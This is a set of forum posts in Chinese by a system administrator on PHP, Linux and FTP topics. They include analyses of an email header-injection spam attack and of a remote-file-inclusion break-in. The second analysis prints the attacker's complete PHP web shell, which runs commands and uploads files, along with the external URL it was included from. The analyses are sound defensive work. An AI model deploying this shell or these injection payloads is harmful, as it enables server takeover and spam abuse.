再把程式改成支援 MSNP15. 這次改的就多了...  因為登入的方式由 TWN 改成  SSO, 且 challenge 檢查碼的計算又改的很複雜 (用到一些平常不常用的  mhash, mcrypt, bcmath 等模組, 所以... 如果你要用 OIM 的話, 你使用的 PHP 就必須加上這些模組的支援), 花了快一天才全部改好. 不過... 辛苦是有代價的, 這次果然可以正確的發送出離線訊息了. (該網站上頭對於 OIM 的 XML 內容, 似乎還是舊的, 有些內容和我自己用 WLM 8.1 把除錯功能打開所取得的記錄內容似乎不太一樣, 我是用我由 WLM 中抓到的那個 XML 才能正確傳送 OIM. 也許之前用 MSNP13 無法傳送也是類似的問題, 不過, 我這兒沒有使用 MSNP13 的 WLM 8.0 版本, 所以, 不確定是否是因為這個原因才不能使用)

整理了一下, 我把這個程式放在這兒 (使用 GPL 授權方式):  http://www.teatime.com.tw/~tommy/files/msnclass.7z

你只要寫一個小程式, 就可以用來發送 MSN 訊息了, 如:
代碼: [選擇]
#!/usr/bin/php -Cq
<?php

error_reporting
&#40;E_ALL&#41;;
include_once&#40;'msn.class.php'&#41;;

// force to use MSNP9, without debug information
// $msn = new MSN&#40;'MSNP9'&#41;;

// force to use MSNP9, with debug information
// $msn = new MSN&#40;'MSNP9', true&#41;;

// force to use MSNP15, without debug information
// $msn = new MSN&#40;'MSNP15'&#41;;

// force to use MSNP15, with debug information
// $msn = new MSN&#40;'MSNP15', true&#41;;

// auto detect MSN protocol, without debug information
// $msn = new MSN;

// auto detect MSN protocol, with debug information
$msn = new MSN&#40;'', true&#41;;

if &#40;!$msn->connect&#40;'YOUR_ID', 'YOUR_PASSWORD'&#41;&#41; &#123;
    
echo "Error for connect to MSN network\n";
    echo 
"$msn->error\n";
    exit;
&
#125;

$msn->sendMessage&#40;'Now&#58; '.strftime&#40;'%D %T'&#41;."\nTesting\nSecond Line\n\n\n\nand Empty Line",
                  
array&#40;
                    
'somebody1@hotmail.com',
                    
'somebody2@hotmail.com'
                       
&#41;
                 
&#41;;
echo "Done!\n";
exit;

?>
建議先用 $msn = new MSN('', true) 的方式跑一次, 確定沒有問題後, 再把除錯的功能關閉.

再提醒一次, 你的系統用的 PHP 至少要有 curl, pcre 這兩個模組才能使用 MSNP9. 如果要發送 OIM, 就得使用 MSNP15, 這時, 還要有 mhash, mcrypt, bcmath 等模組才可以.

補充一下, 那個傳送的訊息, 如果不是英文, 請使用 UTF-8 編碼才能正確的傳送. 因為 MSN 在傳送的訊息, 是使用 UTF-8 編碼的.

18
某外商求才. (不知道算日商或美商, 也許... 也可以算台商吧)
有興趣的請 PM 給我.

Job Title: IT Project Manager (Global Project)
Description: As IT project manager, you will be responsible in all aspects of project execution - taking a project from concept to completion and manage the entire process. You will have high level visibility and understanding of the latest IT infrastructure technologies, IT requirements and operation processes. This position requires aptitude in technical as well as extensive collaboration skills with a set of diverse and distributed cross functional teams.

Specific job responsibilities include:
• Manage global technology, infrastructure and IT operations process improvement projects.
• Ability to handle multiple projects at the same time and be able to prioritize deadlines.
• Work with various groups and multiple vendors to understand business and application requirements and translate them into IT infrastructure requirements, cost estimates, set of objectives and project plan
• Effort and resource estimation and identify project priorities and constraints.
• Collect and organize requirements and manage resources, including vendor management, for on-time and on-budget delivery with high integrity.
• Work with architect to provide solution options with pros/cons and ROI analysis
• Manage a team of IT engineers, architects and consultants in project execution and ensure delivery of solution meeting business requirements.
• Identify and resolve project issues and risks.
• Project tracking and status reporting to project stakeholders.
• Smoothly transition projects into the on-going IT operations by identifying and orchestrating turnover training and support needs.

Desired Experiences & Skills:
• Must demonstrate excellent verbal and written skills to communicate effectively with cross functional teams including business, IT, application development and security teams.
• Minimum 7-8 years experience in IT project management. Minimum 10-12 years experience in IT industry.
• Minimum 3-5 years of experience in managing and executing data center setup, migration or IT infrastructure improvement projects
• Must demonstrate track record in taking an IT project from concept to completion
• Track record demonstrating strong leadership skills, with multi-national and distributed development environments; must demonstrate experience working with international teams.
• Must be a Team Player with demonstrated results and achievement.
• Must have excellent interpersonal, negotiation and analytical skills. Experience working with business partners, review SOW
• Prior consulting experience a plus
• Strong knowledge of IT infrastructure and operations environment (ITIL/ITSM experience a plus)
Education
• Bachelor degree in computer science, MIS or related discipline.
• Certifications in PMP and formal course work in project management highly preferred.

19
Computer 討論版 / Remote Power Manager
« 於: 2006-10-25 16:37 »
家裡的 server 又當了... 又要麻煩家人去重開機.
想說不知道有沒有可以遠端控制電源的東西, 找了一下, 還真的有.
http://www.serverbank.com.tw/products/index01.asp?k1=71&k2=352&k3=0&k4=0&page=1&zone=1&brand=&sortby=

有人有用過這個的經驗嗎?

20
上星期六, 之前工作的單位由台固拉了一條 20M 的線路, 當天我也連線過去檢查了一下 firewall 上頭的設定與 web, email 是設定是否正確. 結果... 突然發現, 剛剛明明  postfix 的 queue 是空的, 怎麼幾分鐘不到, 一堆寄給 @aol.com 的信件? 這個單位應該不會有那麼多的信需要寄給 @aol.com 吧.

查了一下 postfix 設定, 並不是因為 open relay 造成的, 看了一下 maillog, 發現也不是內部網路的機器寄出來的, 居然是由 apache 這個使用者在本機上寄出的. 我知道他們有發電子報的功能, 可是... 似乎不太可能會有那麼多的使用者是用 @aol.com 的 email.... 把 postfix 先停下, 然後用 postcat 看了一下還在 queue 裡頭的信件, 果然是廣告信沒錯. 那.... 信是由那兒來的呢?

比對一下 apache 與 postfix 的 log, 發現網頁的某個 mail.php 有重大的嫌疑. 查看了一下那個 mail.php 所在的網頁的功能. 發現是用來推薦這個單位的人事物給你的朋友, 在這個功能上頭, 你可以填寫你的姓名, email, 收件人的 email, 標題及內容, 然後系統會產生一封 email, From 就是你的 email 及姓名, 信件標題會加上你輸入的內容, 信件內容也會加上你所輸入的內容, 透過 php 提供的 mail() 來發送.

不過... 寫程式的人, 在這個輸入的 form 之後, 直接把內容傳到 mail.php, 然後.... 只檢查某個變數, 沒有問題就呼叫 mail() 去寄信了. 類似:
代碼: [選擇]
<?php
If&#40;!$FWsendmmail&#41;&#123;
   
header&#40;"Location&#58; ./"&#41;;
&#125;else&#123;
/* mail */
$To=$Tomail;
$Subject=$Myname."向您推薦";
$Body="$Messages\n";
$Body.=$Messagesurl;
$Body=nl2br&#40;$Body&#41;;
$mlfrom="From&#58;$Frommail<$Myname>\n";
$mlfrom.="MIME-Version&#58; 1.0\nContent-Type&#58; text/html ;charset=big5";
mail&#40; $To, $Subject, $Body, $mlfrom&#41;;
echo "<Script> alert&#40;'郵件寄出成功'&#41;; window.location.href='abc.php?abcid=$abcid'; </Script>";
?>

這兒會有幾個可能的問題:

   1. register_globals, 由於他們有一堆舊程式都是這樣寫, 似乎不打算改... 所以,這兒的變數, 很容易就可以利用傳入的變數來修改.
   2. 只使用一個簡單的 hidden 變數 ($FWsendmail) 來判斷是否由之前的 form 傳入. 不過... hidden 變數並不是真的看不到, 別人只要在查看之前的 form 所產生的 html 原始碼, 就會發現有這個變數.
   3. 變數的內容沒有檢查, 直接拿來使用.

所以, 應該有人利用了上頭的一些問題, 寫了一個專門用來發送廣告信的 bot, 透過這個 mail.php 來寄送廣告信.

這個 bot 主要是利用可以自行輸入 From 的功能, 所以產生了一個類似下頭的 From:
代碼: [選擇]
enshrined
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain
X-Mailer: Pegasus Mail for Windows (v4.01)
Subject: nglish
bcc: iynchwise@aol.com

in the eastern part of arma rovince. ts production is regulated by a qualit=
y consortium that recognizes qualifying products with distinctive mark. nly=
 larger fresh hams are used (12 13 kilograms). uring uses relatively little=
....

這時, 程式內會把這個變數寫在 From: 這個 header 上頭, 就變成:
代碼: [選擇]
From:xxx@aol.com<enshrined
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain
X-Mailer: Pegasus Mail for Windows (v4.01)
Subject: nglish
bcc: iynchwise@aol.com

in the eastern part of arma rovince. ts production is regulated by a qualit=
y consortium that recognizes qualifying products with distinctive mark. nly=
 larger fresh hams are used (12 13 kilograms). uring uses relatively little=
....

MIME-Version: 1.0\nContent-Type: text/html ;charset=big5

上頭的結果, 就是原本應該有的 header, 在 From 之後, 就被取代了, 所以, 發出去的信的內容, 就完全變成人家所送入的廣告內容了.

然後.. 在裡頭利用 bcc: 的功能, 加上一些收件人, 這樣... 後頭使用 mail() 時, 連同原本的 To: 的 email (上頭程式也沒檢查, 也可以傳入一堆... 不過就算有檢查, 利用 bcc: 一樣可以造成一堆收件人), 再加上 bcc: 裡頭的, 就可以送信出去給這些人了.  這些 bot... 多數的時候, 好像都是一次發給一個人... 不過... 查了一下記錄, 也有一次給數百人, 而會被我在 queue 裡頭看到... 就是因為一次發給太多人了. 否則... 一次一封給一個人... 就算出現在 queue 裡頭, 我應該也很難去懷疑那是廣告信吧.

如果你的系統, 有類似的功能, 最好檢查一下吧. 能夠不要用到外頭傳入的變數來放到 email 的 header 中, 就不要用. 否則...  至少先檢查那些資料,  不可以有換行字元... 確定不會變成別的 header.

還有... referer 也最好檢查一下, 不要直接用 form 上頭的變數來判斷來源, 那個是完全不保險的方式, 至少改用 session 變數來檢查吧.

http://blog.teatime.com.tw/post/1/128

21
最近老是在我的 /tmp 裡頭, 發現有個多出來的 /tmp/cmdtemp 檔案. 也在 apache 的 error_log 中發現一些訊息如下:
代碼: [選擇]
sh: -c: line 1: syntax error near unexpected token `;'
sh: -c: line 1: `; 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm ^M'
rm: cannot remove `\r': No such file or directory
sh: line 1: /tmp/cmdtemp: Permission denied
rm: cannot remove `\r': No such file or directory
sh: line 1: /tmp/cmdtemp: Permission denied
sh: -c: line 1: syntax error near unexpected token `;'
sh: -c: line 1: `; 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm ^M'
cat: write error: Broken pipe
rm: cannot remove `\r': No such file or directory
sh: line 1: /tmp/cmdtemp: Permission denied

雖然我的 /tmp 是獨立的, 且被 mount 為 noexec, 所以上頭的指令都無法正確的執行. 不過... 為什麼會讓人家有辦法把檔案寫入 /tmp/ 內呢?

到 Google 找了一下, 發現在 PHP Bugs 的這篇文章, 裡頭提到了, 應該是 allow_url_fopen 打開的時候, 如果有人傳入一個參數為 xxx=http://xxx/xxx 之類的東西, 如果這個 php 的程式, 沒有檢查這個變數, 或是 register_globals 是開啟的情形下, 也許會造成這個 php 使用 include() 去把遠端那個 URL 的檔案給引入執行.... 也就是執行到了別人寫的程式, 這時... 自然別人想在那裡頭做什麼, 就能夠做什麼了.

所以, 我想我的機器上頭, 一定有那個使用者放的 php 程式, 會造成這個問題. 原本以為下頭的指令可以簡單的抓出
代碼: [選擇]
grep =http: access.log
可是... 由於我有把 referer 也記錄到 log 裡頭, 所以... 會找到一堆在 referer 中有  =http: 的資料. 所以我寫了下頭的這個 script 來處理:
代碼: [選擇]
#!/usr/bin/php -Cq
<?php

$fp 
fopen&#40;"php&#58;//stdin", "rt"&#41;;
if &#40;$fp == 0&#41; exit;
while &#40;!feof&#40;$fp&#41;&#41; &#123;
   
$buf fgets&#40;$fp, 4096&#41;;
   
$pos strpos&#40;$buf, ' HTTP/'&#41;;
   
if &#40;$pos === false&#41; continue;
   
echo substr&#40;$buf, 0, $pos&#41;."\n";
&#125;
fclose&#40;$fp&#41;;
exit;
?>

在 HTTP/ 這個字串之前的都是我要的. 然後執行
代碼: [選擇]
grep HTTP *.1 | ./t.php | grep =http
就可以找出來了. 發現是某個使用者放上來的討論區, 有人使用了下列的方式存取:
代碼: [選擇]
forgot_password.php?inc_dir=http://www.geocities.com/goblockz/hajar.txt?
發現會設一下 inc_dir 的 GET 變數. 而在這套系統中, inc_dir 就是這個系統用來 include 檔案時, 會加上的路徑. 原本 $inc_dir = 'include/', 所以裡頭用了一堆 include $inc_dir.'abc.inc' 之類的語法.

不過... 我的 register_globals 並沒有打開啊... 怎麼會把這個 GET 的變數, 直接就取代了 $inc_dir 呢?

再看一下程式, 果然裡頭有 register_globals.php 其中一段是這樣子寫的:
代碼: [選擇]
       if (isset($HTTP_GET_VARS)) {
                reset($HTTP_GET_VARS);
                while ( list($var, $val) = each($HTTP_GET_VARS) ) {
                        $$var=$val;
                }
        }

就直接把 GET 的變數拿來用了... 自然覆蓋了原本的 $inc_dir, 所以在這個動作之後, 如果有做任何:
代碼: [選擇]
include $inc_dir."abc.php"
之類的動作, 就變成:
代碼: [選擇]
include http://www.geocities.com/goblockz/hajar.txt?abc.php
接著就跑到了上頭那個 hajar.txt 的內容了. 而這個檔案的內容如下:
代碼: [選擇]
<title>caRefuLL d4Ve-cOoL was HeRe..!!|| pOweRed fRoM #kLiNik@DALnet </title>

<div align = left><p><marquee bgcolor="#000000" style="border-top:5px dotted #3333ff; border-bottom:5px dotted #3333ff; font-family: Times New Roman; font-size: 24pt; font-weight: bold" behavior="alternate">#kLiNik@DALnet </marquee></p>

<body text="#ff0000" bgcolor="#000000" onLoad="showTheTime()">

<script language="JavaScript">

<div align="center"><font face="verdana" size="5" color="red"><b>inject Generated By d4Ve</u></b></font></div>

<div align="center"><img src="http://www.geocities.com/goblockz/logo.jpg" width="168" height="154"><font face="Verdana" size="5"></div>

<div align="center"><font color="red">*</font><font color="blue"> <b>T</b>hANk<b>`</b>s <b>gOd</b></font><font color="red"> *</font></center></div>

<div align="center"><font color="red"></b>sUppORted </b>by </b>: </b>#kLiNik`cReW@</b>DALnet</center></font></font></div>

<br>  

<hr>

<div align="left">

<?php

  closelog
&#40; &#41;;

  
$user get_current_user&#40; &#41;;

  
$login posix_getuid&#40; &#41;;

  
$euid posix_geteuid&#40; &#41;;

  
$ver phpversion&#40; &#41;;

  
$gid posix_getgid&#40; &#41;;

  
if &#40;$chdir == ""&#41; $chdir = getcwd&#40; &#41;;

  
if&#40;!$whoami&#41;$whoami=exec&#40;"whoami"&#41;;

?>


<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="0">

<?php

  $uname 
posix_uname&#40; &#41;;

  
while &#40;list&#40;$info, $value&#41; = each &#40;$uname&#41;&#41; &#123;

?>


  <TR>

    <TD align="left"><DIV STYLE="font-family: verdana; font-size: 10px;"><b><span style="font-size: 9pt"><?= $info ?>

      <span style="font-size: 9pt">:</b> <?= $value ?></span></DIV></TD>

  </TR>

<?php

  
&#125;

?>


  <TR>

  <TD align="left"><DIV STYLE="font-family: verdana; font-size: 10px;"><b>

    <span style="font-size: 9pt">User Info:</b> uid=<?= $login ?>(<?= $whoami?>) euid=<?= $euid ?>(<?= $whoami?>) gid=<?= $gid ?>(<?= $whoami?>)</span></DIV></TD>

  </TR>

  <TR>

  <TD align="left"><DIV STYLE="font-family: verdana; font-size: 10px;"><b>

    <span style="font-size: 9pt">Current Path:</b> <?= $chdir ?></span></DIV></TD>

  </TR>

  <TR>

  <TD align="left"><DIV STYLE="font-family: verdana; font-size: 10px;"><b>

    <span style="font-size: 9pt">Permission Directory:</b> <? if(@is_writable($chdir)){ echo "Yes"; }else{ echo "No"; } ?>

    </span></DIV></TD>

  </TR>  

  <TR>

  <TD align="left"><DIV STYLE="font-family: verdana; font-size: 10px;"><b>

    <span style="font-size: 9pt">Server Services:</b> <?= "$SERVER_SOFTWARE $SERVER_VERSION"; ?>

    </span></DIV></TD>

  </TR>

  <TR>

  <TD align="left"><DIV STYLE="font-family: verdana; font-size: 10px;"><b>

    <span style="font-size: 9pt">Server Address:</b> <?= "$SERVER_ADDR $SERVER_NAME"; ?>

    </span></DIV></TD>

  </TR>

  <TR>

  <TD align="left"><DIV STYLE="font-family: verdana; font-size: 10px;"><b>

    <span style="font-size: 9pt">Script Current User:</b> <?= $user ?></span></DIV></TD>

  </TR>

  <TR>

  <TD align="left"><DIV STYLE="font-family: verdana; font-size: 10px;"><b>

    <span style="font-size: 9pt">PHP Version:</b> <?= $ver ?></span></DIV></TD>

  </TR>

</TABLE>

</b>

</div></font></div>



<?php



set_magic_quotes_runtime
&#40;0&#41;;



$currentWD  str_replace&#40;"\\\\","\\",$_POST['_cwd'&#93;&#41;;

$currentCMD str_replace&#40;"\\\\","\\",$_POST['_cmd'&#93;&#41;;



$UName  = `uname -a`;

$SCWD   = `pwd`;

$UserID = `id`;



if&
#40; $currentWD == "" &#41; &#123;

    
$currentWD $SCWD;

&
#125;



if&#40; $_POST['_act'&#93; == "List files!" &#41; &#123;

    
$currentCMD "ls -la";

&
#125;





print "<form method=post enctype=\"multipart/form-data\"><hr><hr><table>";



print 
"<tr><td><b>kOeMeN eksEkUt&#58;</b></td><td><input size=100 name=\"_cmd\" value=\"".$currentCMD."\"></td>";

print 
"<td><input type=submit name=_act value=\"Execute!\"></td></tr>";



print 
"<tr><td><b>ChANge diRectORy&#58;</b></td><td><input size=100 name=\"_cwd\" value=\"".$currentWD."\"></td>";

print 
"<td><input type=submit name=_act value=\"List files!\"></td></tr>";



print 
"<tr><td><b>UpLOad fiLe&#58;</b></td><td><input size=85 type=file name=_upl></td>";

print 
"<td><input type=submit name=_act value=\"Upload!\"></td></tr>";



print 
"</table></form><hr><hr>";



$currentCMD str_replace&#40;"\\\"","\"",$currentCMD&#41;;

$currentCMD str_replace&#40;"\\\'","\'",$currentCMD&#41;;



if&#40; $_POST['_act'&#93; == "Upload!" &#41; &#123;

    
if&#40; $_FILES['_upl'&#93;['error'&#93; != UPLOAD_ERR_OK &#41; &#123;

        
print "<center><b>Error while uploading file!</b></center>";

    &
#125; else &#123;

        
print "<center><pre>";

        
system&#40;"mv ".$_FILES['_upl'&#93;['tmp_name'&#93;." ".$currentWD."/".$_FILES['_upl'&#93;['name'&#93;." 2>&1"&#41;;

        
print "</pre><b>File uploaded berHasiL cOy!</b></center>";

    &
#125;    

&#125; else &#123;

    
print "\n\n<!-- OUTPUT STARTS HERE -->\n<pre>\n";

    
$currentCMD "cd ".$currentWD.";".$currentCMD;

  
system&#40;"$currentCMD 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm 

/tmp/cmdtemp"&#41;;

    print "
\n</pre>\n<!-- OUTPUT ENDS HERE -->\n\n</center><hr><hr><center><b>peRiNtaH sUkses</b></center>";

&#125;



exit;



?>
</body></font></font></b></font>



<embed src="http://critical-solution.com/midi/NovemberRain.mid" width="1" height="1" type="audio/midi"></html>

裡頭可以讓你上傳檔案,  也可以讓你執行指令....  如果我的 /tmp 裡頭是可以執行的話,  可能就會放上一堆程式來跑了.

所以...  如果你沒有用到 URL file-access 的功能的話, 請在 php.ini 中:
代碼: [選擇]
; Whether to allow the treatment of URLs (like http:// or ftp://) as files.
allow_url_fopen = Off


把 allow_url_fopen 設成 Off.

不然的話, 請確定你所有的網站上頭的 php 程式, 都不會有我上頭這類的情形發生.

PS. 在 php 4.3 之前,  allow_url_fopen 似乎不會讓 include(), require() 之類的函式, 可以讀取遠端的程式碼進來, 不過, 在 4.3 之後, 就可以讓這類的函式有了遠端讀取的能力. 而且... 沒有辦法限制. 要不就整個打開, 要不就整個關閉. 一點彈性都沒有... 更糟的是... 這個選項預設好像是打開的... 似乎有點不太安全吧. 在 php 的官方網站上頭, 看到 php 6 有另一個 allow_url_include 的選項, 應該就是為了解決這個問題, 讓我們可以在一般的情形下使用 fopen 去打開遠端的檔案, 而不會用在 include() 上頭吧. 所以... 在 php 6 出來前... 大家還是把這功能關閉為妙吧.

http://blog.teatime.com.tw/post/1/126

22
今天在我們的某台測試主機 (使用 CentOS 4.3) 上頭, 想要把 php 換成 5.1.6 的版本, 所以就抓了 Fedora Core 5 裡頭的 php 5.1.6 的 source rpm 回來想要自行編成 rpm 使用.

由於自行 build 這個 rpm 時, 需要安裝一些我們原本沒有安裝的東西, 因為我們自己的 CentOS 4 的 mirror, 已經更新到最新的 4.4 了, 所以使用 yum 安裝時, 自然抓到的都是 4.4 的東西, 而不是 4.3 的東西.

在安裝完後發現, 只要我們一執行 yum 指令, 系統的 CPU 就被 yum 佔用了, 然後 loading 持續往上跑, 最後... 完全沒辦法使用.

到 Google 找了一下, 發現有人碰過這個問題, 也提出的解決的方法如下:
代碼: [選擇]
rpm -e sqlite python-sqlite yum sqlite-devel
rm -rf /var/cache/yum
rpm -ivh  http://centos.cs.ucr.edu/centos/4.3/os/x86_64/CentOS/RPMS/python-sqlite-1.1.6-1.x86_64.rpm \
 http://centos.cs.ucr.edu/centos/4.3/os/x86_64/CentOS/RPMS/sqlite-3.2.2-1.x86_64.rpm \
 http://centos.cs.ucr.edu/centos/4.3/os/x86_64/CentOS/RPMS/sqlite-devel-3.2.2-1.x86_64.rpm \
 http://centos.cs.ucr.edu/centos/4.3/os/x86_64/CentOS/RPMS/yum-2.4.2-2.centos4.noarch.rpm

把 sqlite, yum, sqlite-devel, python-sqlite 移除後, 然後重裝 4.3 版本的 yum 就可以了.

經過上頭的方式處理後, 果然可以正常使用了.

注意:

   1. 猜測這個是因為 sqlite 所引起的, 因為我們那時安裝的軟體有 sqlite-devel, 那時會把 sqlite 也更新到新的版本上頭去,  而 yum 及 python-sqlite 仍是舊的版本吧. 不過...我沒試過是不是只要把 sqlite 換回 4.3 的版本就可以了.
   2. 如果照正常的 yum update, 直接把 CentOS 4.3 升到 4.4, 並不會有這個問題.
   3. 關於自行 build php 5.1.6 的部份, 使用原本系統的 gcc 3.3 版本, 無法編譯, 我們是安裝 gcc4, gcc4-++ 兩個軟體, 然後到 /usr/bin 下頭, 把原本的 gcc, g++ 先改名, 再把 gcc4, g++4 改成 gcc, g++. 這樣子就可以使用 rpmbuild 由 FC5 中的 php 5.1.6 的 srpm 來產生相關的 rpm 檔案了.

http://blog.teatime.com.tw/post/1/125

23
昨天把 pure-ftpd 加上 -y 參數來執行, 想限制同一個使用者同時間的連線數, 不過, 今天早上發現並沒有效果. 似乎這個參數在我的環境 (Debian Etch, X86-64) 下頭, 沒有辦法正常使用.

早上 trace 了一下, 發現在有新的連線登入時, 會把舊的連線的暫存檔都刪除,  所以算來算去, 都被認為是第一個連線, 當然不會有限制.

這個問題發生在 pure-ftpd 使用

代碼: [選擇]
kill(pid, 0) == 0

來判斷該行程是否仍然存在, 如果不存在, 則表示那個暫存檔的行程已經結束, 就把那個檔案刪除. 當然, 如果那個判斷是正常的話, 這樣子處理並不會有問題, 但是... 在我的系統上頭, 不論該行程是否存在, 上頭那個 kill 函式, 都會傳回 -1, 所以... 都會被認為是不存在.

查了一下 kill() 的說明, 在傳回 -1 時, 可以由 errno 的值來判斷原因. 而在我的系統上頭, 如果該行程不存在, errno 會是 ESRCH (3), 如果該行程存在, errno 會是 EPERM (1). 所以, 只要把上頭的指令, 修改一下, 當 kill() 傳回 -1 時, 如果 errno 值為 3 的時候, 才表示該行程不存在.

代碼: [選擇]
diff -Nur src.orig/ftpwho-read.c src.patch4/ftpwho-read.c
--- src.orig/ftpwho-read.c 2006-02-16 05:35:02.000000000 +0800
+++ src.patch4/ftpwho-read.c 2006-09-12 12:37:27.246581449 +0800
@@ -12,7 +12,10 @@
 
 static inline int checkproc(const pid_t proc)
 {    
-    return kill(proc, 0) == 0;
+    int rc = kill(proc, 0);
+    if (rc == -1 && errno == ESRCH)
+        return 0;
+    return 1;
 }
 
 static int scoreboard_cleanup(const char * const file)


這個 patch 可以由這兒抓取: http://www.teatime.com.tw/~tommy/mypatch/pureftpd_peruserlimits.patch

經過這樣子的修正之後, 就可以正常的限制使用者的連線數了.
http://blog.teatime.com.tw/post/1/123

24
Network 討論版 / FTP 語系, 編碼, unicode
« 於: 2006-08-11 22:28 »
這個世界上, 有許多不同的文化, 所以也有許多不同的文字. 而在電腦的發展上頭, 對於這些文字的處理, 不同的人有不同的處理方式. 所以, 外表看起來是一樣的字, 因為採用的編碼不同, 在電腦上頭就會出現不同的數字來表示. 反之, 在電腦上頭, 同樣的一組數字, 因為所使用的編碼不同, 在不同的編碼系統上頭, 會代表不同的字.

以我們所使用的繁體中文來說. 在一開始發展時, 就存在不同的編碼. 這些編碼都是用 2 個 bytes 來代表一個中文字.  這時就出現了前面所說的, 同樣的兩個 bytes, 在不同的編碼系統上頭, 各自代表不同的字. 這個情形雖然在相互競爭下, 最後幾乎只剩下 BIG5 編碼這一種還在世上存活. 但是, 就算在繁體中文裡頭, BIG5 取得的最後的勝利, 之前所說的情形就消失了嗎?

可惜, 這世界上, 並不是只有繁體中文一種文字, 還有簡體中文, 日文, 韓文等等系統, 也都是使用 2 個 bytes 來表示它們的文字. 所以, 同樣的一個數字, 你把它當成是繁體中文的編碼來看時, 是某個中文字, 把它當成簡體中文來看時, 又是另一個字. 在目前這樣交流頻繁的國際社會中, 此類編碼不同所造成的問題, 仍然無法解決. 就算能解決所有雙位元組編碼的問題, 在雙位元組編碼與單位元組編碼的系統之間, 仍有類似的衝突發生.

UNICODE 的出現, 就是為了解決這種各國編碼不同所造成的問題, 想要透過一種大家都可以接受的編碼, 來包含各國的文字, 如此, 大家都只要使用一種編碼, 再也沒有這類編碼衝突的問題了.

不過... 這是一種全新的編碼, 所以... 等於要大家都放棄所有的編碼系統, 等到大家都使用 UNICODE 時, 才能真正的解決問題, 否則, 也不過就是多出一種編碼, 與舊有的一堆編碼仍然相互衝突著. 而且, 目前已經存在的各種文件, 仍有待轉換到新的編碼... 這個編碼系統的轉換, 並不是一個小事, 所以... 就算 UNICODE 已經出現了一段時間, 目前距離大一統的地步, 仍有很大的一段路要走.

這類的情形, 在 Web 介面上頭, 目前的 browser 都可以很簡單的切換到不同的語系, 使用不同的編碼來看對應的網頁, 且在網頁的規格上頭, 網頁的作者也可以標明這個頁面所使用的編碼系統, 讓 browser 可以使用正確的編碼來觀看網頁, 所以編碼所造成的衝突就少了很多. 所以, 除了有必要在同一個頁面同時出現不同地方的文字, 否則, 使用每個地方特有的編碼, 一樣不會造成問題. 如果有需要同時出現不同地方的文字時, 就必須使用同時包含那些文字的編碼系統就可以. 以目前來說, 就是使用 UTF-8 編碼 (UTF-8 就 UNICODE 編碼的一種.... UNICODE 一樣也有很多編碼, UTF-8, UTF-16... 等等).

但是, 在 FTP 上頭, 就不像 Web 那麼簡單了.

因為 FTP 的相關 RFC 上頭, 之前都沒有對編碼有所定義, 所以... 在 FTP Server 上頭使用 A 編碼, 那麼, 你的 FTP Client 也必須要使用 A 編碼才能看的懂那個檔名. 所以當你要連線到一個日文的 FTP server 時, 你就必須要在日文的環境下, 才能正常的看到並操作該 server 上頭相同編碼的日文檔名.

所以, 後來就有 RFC-2640 的出現, 提出了在 FTP 傳送檔名的過程中, 可以採用 UTF-8 編碼來傳送. 也就是不管 FTP server 原本用什麼編碼, 在傳送檔名到 FTP client 時, 要轉成 UTF-8, 來傳送. 所以 FTP client 收到的就是 UTF-8 編碼後的檔名. 同樣, 如果 FTP client 送指令給 server 時, 也要使用 UTF-8 編碼來傳送, server 收到後再轉成自己 local 使用的編碼, 來操作該檔案或路徑.

這樣子, 解決了 FTP 上頭編碼的問題了嗎? 可惜並沒有. 這個方法, 只有在 server/client 都使用 UNICODE 時, 才是完美的.

在沒有 RFC-2640 之前:
    只有雙方使用相同的編碼時, 才能正常使用.

有了 RFC-2640 之後, 在雙方都支援 RFC-2640 時, 至少多出下列幾種:
    Server 不使用 UNICODE, Client 使用 UNICODE, 就能正常使用. (如果上傳檔名或目錄, 只能用可以轉換到 Server 所使用的編碼的文字)

    Server 使用 UNICODE, 但 Client 不使用 UNICODE, 至少可以正常使用 Client 端所使用的編碼可以接受的檔名.

    雙方都使用 UNICODE, 則所有的操作都能正常使用


舉例來說, 在沒有 RFC-2640 之前:
    Server 使用 BIG5, Client 使用 UNICODE,  則 client 可以正常使用 server 上的檔案或路徑. 但是如果 client 上傳或建立一個有不存在於 BIG5 的文字的檔案或路徑時,  可能會造成 server 出現問題.

    Server 使用 UNICODE, Client 使用 BIG5, 則, Client 看不懂 server 上頭那些無法轉換成 BIG5 的檔名. 只能操作那些可以轉換到 BIG5 的檔案. 至於上傳檔案或建立目錄, 並不會有任何問題, 因為 BIG5 -> UNICODE 的轉換一定可以成功.

    雙方都使用 UNICODE, 則不管檔名是那一國的文字, 都可以正常使用.


所以... 當你要抱怨你的 FTP 出現亂碼時, 先研究看看是那兒出現了問題了吧. 這並不是 server 或 client 單方面的問題, 這個問題, 雙方其實都有可能有問題.

PS1: 上述所謂在 Web 上的情形, 並非是完全沒有問題的. 沒有問題是指 Web 的內容而言, 如果是 URL 的路徑或檔案名稱來看, 同樣存在與 FTP 相同的問題. 也就是, 目前並沒有 (應該說我不知道) 一個規則, 用來傳送那些非英文的 URL. 如果 browser 是用 UTF-8 編碼來傳送那個 URL, 但是 Server 的環境並不是使用 UTF-8, 那麼就會發生找不到該檔案的問題. 反之亦同. 可以正常使用的情形下, 也只有在剛好 browser 與 server 都使用同來的編碼時, 才會正常. 所以... 如果沒有必要 (其實就算有必要, 也要想辦法避掉), 在 Web Server 上頭的路徑與檔名, 不要使用非英文的編碼. 以免造成找不到檔案的困擾.

PS2: 之前有在推 IDN (國際網域名稱), 也就是類似 下午茶.公司 之類的名稱, 我並沒有研究這個是要用那一種編碼才算. 猜測應該也是 UTF-8 吧. 不過... 目前看來, 似乎只有中國大陸那邊有在使用的樣子, 一般人.... 打中文在網址上頭, 會覺得麻煩吧. 如果要找某組織, 通常也習慣透過 search engine 來查吧.

本文同時刊登於我的 blog: http://blog.teatime.com.tw/post/1/110

25
PEAR 中, 有個可以讓 PHP 產生 Excel 檔案的東西: Spreadsheet_Excel_Writer, 透過這個物件, 我們可以產生一個正確的 Excel 檔案出來. 而在 0.9.0 版中, 加上了 Unicode 的支援, 我們只要把 BIFF 的版本設為 8, 然後用 setInputEncoding() 指定要使用的編碼就可以存成一個 UNICODE 的 Excel 檔案.

